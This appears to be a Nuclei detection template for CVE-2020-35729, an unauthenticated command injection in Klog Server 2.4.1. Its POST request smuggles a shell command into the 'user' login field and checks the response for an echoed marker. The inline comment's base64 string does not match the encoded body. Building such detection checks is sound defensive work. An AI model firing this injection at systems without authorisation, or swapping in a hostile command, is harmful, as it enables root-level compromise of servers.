43 lines
2.2 KiB
YAML
43 lines
2.2 KiB
YAML
id: CVE-2020-35729
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info:
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name: Klog Server <=2.41 - Unauthenticated Command Injection
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author: dwisiswant0
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severity: critical
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description: Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The `authenticate.php` file uses the `user` HTTP POST parameter in a call to the `shell_exec()` PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the Apache user to execute any command as root without providing a password, resulting in privileged command execution as root. Originated from Metasploit module, copyright (c) space-r7.
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impact: |
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An attacker can execute arbitrary commands on the server, leading to remote code execution and potential compromise of the system.
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remediation: |
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Upgrade to a patched version of Klog Server (>=2.42) or apply the vendor-supplied patch.
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reference:
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- https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection
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- https://nvd.nist.gov/vuln/detail/CVE-2020-35729
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- https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/Exploit_Code
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- https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/README.md
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-35729
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cwe-id: CWE-78
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epss-score: 0.95886
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epss-percentile: 0.99305
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cpe: cpe:2.3:a:klogserver:klog_server:2.4.1:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: klogserver
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product: klog_server
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tags: cve,cve2020,klog,rce,klogserver
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variables:
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dummy: "{{to_lower(rand_text_alpha(5))}}"
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http:
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- method: POST
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path:
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- "{{BaseURL}}/actions/authenticate.php"
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body: 'user={{dummy}}%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd={{dummy}}' # Payload: & echo "cHJvamVjdGRpc2NvdmVyeS5pbw==" | base64 -d & echo"
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matchers:
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- type: word
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words:
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- "poc-testing" # from Base64 decoding payload
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# digest: 4a0a00473045022100e9de74e85e10860c318a36575abe43e01950ce277ff75f4b2e11718f11942d240220275879709811f1af5cb2ac6e49eaaeea01eccebe204a64081520ab93056c406c:922c64590222798bb761d5b6d8e72950 |